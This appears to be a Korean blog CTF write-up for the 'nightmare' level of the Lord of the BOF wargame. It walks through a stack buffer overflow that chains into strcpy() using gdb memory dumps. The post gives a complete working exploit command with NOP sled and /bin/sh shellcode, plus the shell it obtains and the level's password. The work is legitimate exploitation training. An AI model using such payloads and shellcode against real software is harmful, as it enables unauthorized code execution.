시작
안녕하세요!!
LOB도 끝이 보입니다 ㅎㅎㅎ.. 길었네요
뒤로 갈 수록 파일 이름이나 라이브러리로 장난 안 치는 것 같아서 좋네요 ㅋㅋㅋㅋㅋㅋ
시작해보죠 :D
Write UP
/*
The Lord of the BOF : The Fellowship of the BOF
- nightmare
- PLT
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dumpcode.h>
main(int argc, char *argv[])
{
char buffer[40];
char *addr;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// check address
addr = (char *)&strcpy;
if(memcmp(argv[1]+44, &addr, 4) != 0){
printf("You must fall in love with strcpy()\n");
exit(0);
}
// overflow!
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// dangerous waterfall
memset(buffer+40+8, 'A', 4);
}
check address
부분에서 buf + 44, 즉 RET 값이 strcpy()
의 주소값과 비교하는 코드가 보입니다.
dangerous waterfall
에선 RET 이후 4 bytes를 A로 바꾸는 코드가 있네요.
main 함수가 끝나면 다음 함수의 주소로 리턴이 진행되고,
그 함수가 끝나면 main의 RET값 다음 4 bytes를 참조해서 코드가 진행되죠? 32bit ROP chain!!
check address
코드에 의해 main이 끝난 후 strcpy()
가 무조건적으로 실행된 후 eip를 dangerous waterfall
에서 바꿔버린 값으로 넘기게 돼요.
때문에 strcpy()
를 이용해 이 부분을 쉘코드의 주소로 덮으면 쉘이 떨어질 것 같습니다.
(gdb) r `python -c 'print "A" * 44 + "\x10\x84\x04\x08" + "BBBB" + "CCCC" + "DDDD"'`
Starting program: /tmp/nightmare/./nightmare `python -c 'print "A" * 44 + "\x10\x84\x04\x08" + "BBBB" + "CCCC" + "DDDD"'`
Breakpoint 1, 0x8048727 in main ()
(gdb) x/40wx $ebp-40
0xbffffaa0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffab0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffac0: 0x41414141 0x41414141 0x41414141 0x08048410
0xbffffad0: 0x42424242 0x43434343 0x44444444 0x40013800
BBBB가 dangerous watarfall
에 의해 AAAA로 바뀔 곳이고, 이 녀석을 쉘코드의 주소로 바꿔줘야 합니다.
CCCC는 strcpy()
의 첫 번째 인자, DDDD는 두 번째 인자에요.
환경 변수를 이용하거나, 파일명을 바꾸거나.. 쉘코드를 스택 상에 올리는 방법은 여러 가지가 있지만
저는 간단하게 DDDD 이후에 NOP + 쉘코드를 넣어주겠습니다.
첫 번째 인자엔 BBBB가 들어가있는 주소, 0xbffffad0
을 넣어주겠습니다.
두 번째 인자는.. NOP이 있는 곳 중 하나를 찍으면 되는데, 스택에 쓸만한 값이 있는지 확인해봐요.
.
.
0xbffffaf8: 0xbffffb14 0x08048350 0x0804877c 0x4000ae60
0xbffffb08: 0xbffffb0c 0x40013e90 0x00000002 0xbffffc0a
.
대충 0xbffffb14
정도면 되겠네요. 이 값을 가진 주소로 익스를 때려볼까요??
[succubus@localhost nightmare]$ ./nightmare `python -c 'print "A" * 44 + "\x10\x84\x04\x08" + "BBBB" + "\xd0\xfa\xff\xbf" + "\xf8\xfa\xff\xbf" + "\x90" * 100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒°
̀
Segmentation fault (core dumped)
세폴이 뜨네요.. 높은 확률로 인자값의 길이가 달라져서 스택 크기가 변한 것 같아요.
코어 파일 뜯어보면서 다시 주소를 구해보죠.
(gdb) x/20wx 0xbffffa00
0xbffffa00: 0x4000ae60 0xbffffa94 0xbffffa48 0x0804874b
0xbffffa10: 0xbffffa50 0x00000041 0x00000004 0x08048410
0xbffffa20: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa30: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa40: 0x41414141 0x41414141 0x4000ae60 0x41414141
(gdb)
0xbffffa50: 0x41414141 0xbffffad0 0xbffffaf8 0x90909090
0xbffffa60: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffa70: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffa80: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffa90: 0x90909090 0x90909090 0x90909090 0x90909090
덮어써야 할 주소는 0xbffffa50
으로 바뀌었네요.
0xbffff9fc: 0x00000400 0x4000ae60 0xbffffa94 0xbffffa48
NOP을 가리키는 곳은 0xbffffa04
로 바뀌었네요. 다시 때려보죠!!
[succubus@localhost nightmare]$ ./nightmare `python -c 'print "A" * 44 + "\x10\x84\x04\x08" + "BBBB" + "\x50\xfa\xff\xbf" + "\x04\xfa\xff\xbf" + "\x90" * 100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBP▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒°
̀
bash$ id
uid=517(succubus) gid=517(succubus) euid=518(nightmare) egid=518(nightmare) groups=517(succubus)
bash$ my-pass
euid = 518
beg for me
Exploit!!
마무리
RET 이후의 인자를 활용해서 함수를 다시 한 번 불렀던 문제입니다.
점점 ROP스러운 문제들이 나오네요 ㅎㅎ
얼마 안 남았습니다!! 감사합니다 :D
'CTF_Write_UP > LOB' 카테고리의 다른 글
[LOB] xavius (0) | 2019.10.04 |
---|---|
[LOB] nightmare (0) | 2019.10.03 |
[LOB] zombie_assassin (0) | 2019.09.09 |
[LOB] zombie (0) | 2019.08.03 |
[LOB] giant (0) | 2019.08.03 |